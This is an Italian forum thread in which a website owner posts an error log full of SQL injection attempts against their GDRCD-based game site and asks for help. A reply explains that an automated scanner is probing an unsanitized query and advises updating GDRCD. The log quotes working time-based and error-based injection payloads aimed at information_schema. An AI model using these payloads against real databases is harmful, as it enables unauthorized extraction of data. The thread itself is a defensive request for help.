Attacchi al database

[testgdr1]

Ho ricevuto dal mio log interno una serie di errori strani che sembrano attacchi SQL Injection, ai quali però io non riesco a captare l'ip, la url del mio sito è: https://testgdr1.altervista.org/

-------------IP: 
-----------INIZIO ERRORE IN DATA: 27/02/2024 05:17:23----------------
ERROR QUERY: 
    SELECT * 
    FROM messaggi 
    WHERE   destinatario = '' 
        AND destinatario_del = 0 AND tipo =0);if(1=1) waitfor delay \'0:0:3\'--
    ORDER BY spedito DESC LIMIT 0, 40
ERROR [1064]: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ');if(1=1) waitfor delay \'0:0:3\'--
    ORDER BY spedito DESC LIMIT 0, 40' at line 4
------------------------FINE ERRORE------------------------------------------

-------------IP:  
-----------INIZIO ERRORE IN DATA: 27/02/2024 05:17:40----------------
ERROR QUERY: 
    SELECT * 
    FROM messaggi 
    WHERE   destinatario = '' 
        AND destinatario_del = 0 AND tipo =0 or (select 1 from (select count(*),concat(0x696E6A65637474657374,floor(rand(0)*2))x from information_schema.tables group by x)a)#
    ORDER BY spedito DESC LIMIT 0, 40
ERROR [1022]: Can't write; duplicate key in table '/var/tmp/#sql2bb0a8_635ca9f9_2'
------------------------FINE ERRORE------------------------------------------

-------------IP: 
-----------INIZIO ERRORE IN DATA: 27/02/2024 05:17:40----------------
ERROR QUERY: 
    SELECT * 
    FROM messaggi 
    WHERE   destinatario = '' 
        AND destinatario_del = 0 AND tipo =0 and (select 1 from (select count(*),concat(0x696E6A65637474657374,floor(rand(0)*2))x from information_schema.tables group by x)a)#
    ORDER BY spedito DESC LIMIT 0, 40
ERROR [1022]: Can't write; duplicate key in table '/var/tmp/#sql2bb0a8_635caa02_2'
------------------------FINE ERRORE------------------------------------------

-------------IP:  
 -----------INIZIO ERRORE IN DATA: 27/02/2024 05:17:41----------------
ERROR QUERY: 
    SELECT * 
    FROM messaggi 
    WHERE   destinatario = '' 
        AND destinatario_del = 0 AND tipo =0) or (select 1 from (select count(*),concat(0x696E6A65637474657374,floor(rand(0)*2))x from information_schema.tables group by x)a) and (1=1
    ORDER BY spedito DESC LIMIT 0, 40
ERROR [1064]: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') or (select 1 from (select count(*),concat(0x696E6A65637474657374,floor(rand(0)' at line 4
------------------------FINE ERRORE------------------------------------------

-------------IP:  
-----------INIZIO ERRORE IN DATA: 27/02/2024 05:17:42----------------
ERROR QUERY: 
    SELECT * 
    FROM messaggi 
    WHERE   destinatario = '' 
        AND destinatario_del = 0 AND tipo =0) and (select 1 from (select count(*),concat(0x696E6A65637474657374,floor(rand(0)*2))x from information_schema.tables group by x)a) and (1=1
    ORDER BY spedito DESC LIMIT 0, 40
ERROR [1064]: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') and (select 1 from (select count(*),concat(0x696E6A65637474657374,floor(rand(0' at line 4
------------------------FINE ERRORE------------------------------------------

-------------IP:  
-----------INIZIO ERRORE IN DATA: 27/02/2024 05:17:42----------------
ERROR QUERY: 
    SELECT * 
    FROM messaggi 
    WHERE   destinatario = '' 
        AND destinatario_del = 0 AND tipo =0\' or (select 1 from (select count(*),concat(0x696E6A65637474657374,floor(rand(0)*2))x from information_schema.tables group by x)a)#
    ORDER BY spedito DESC LIMIT 0, 40
ERROR [1064]: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' or (select 1 from (select count(*),concat(0x696E6A65637474657374,floor(rand(0' at line 4
------------------------FINE ERRORE------------------------------------------

-------------IP:  
-----------INIZIO ERRORE IN DATA: 27/02/2024 05:17:43----------------
ERROR QUERY: 
    SELECT * 
    FROM messaggi 
    WHERE   destinatario = '' 
        AND destinatario_del = 0 AND tipo =0\' and (select 1 from (select count(*),concat(0x696E6A65637474657374,floor(rand(0)*2))x from information_schema.tables group by x)a)#
    ORDER BY spedito DESC LIMIT 0, 40
ERROR [1064]: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' and (select 1 from (select count(*),concat(0x696E6A65637474657374,floor(rand(' at line 4
------------------------FINE ERRORE------------------------------------------

-------------IP: 
-----------INIZIO ERRORE IN DATA: 27/02/2024 05:17:43----------------
ERROR QUERY: 
    SELECT * 
    FROM messaggi 
    WHERE   destinatario = '' 
        AND destinatario_del = 0 AND tipo =0�\' or (select 1 from (select count(*),concat(0x696E6A65637474657374,floor(rand(0)*2))x from information_schema.tables group by x)a)#
    ORDER BY spedito DESC LIMIT 0, 40
ERROR [1064]: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' or (select 1 from (select count(*),concat(0x696E6A65637474657374,floor(rand(0' at line 4

Voi di altervista con l'orario non riuscite a capire cosa possa essere?

[alemoppo]

Voi di altervista con l'orario non riuscite a capire cosa possa essere?

Non ho capito: "cosa possa essere" in che senso?

Comunque, sql injection è il modo più comune di attacco, non dovrebbe più esserci alcuna vulnerabilità in questo tipo di attacchi.

Ciao!

[dreadnaut]

La tua intuizione è corretta: il tuo sito accetta parametri e li inserisce nelle query, rendendolo vulnerabile ad attacchi di SQL injection.

Fortunatemente per te non è un attacco mirano, ma probabilmente uno script automatico in cerca di vulnerabilità: invece di danneggiare i tuoi dati, sta cercando più informazioni.

Prova ad aggiornare GDRCD, e se il problema continuo vedi se gli sviluppatori hanno una soluzione → https://github.com/GDRCD/GDRCD/issues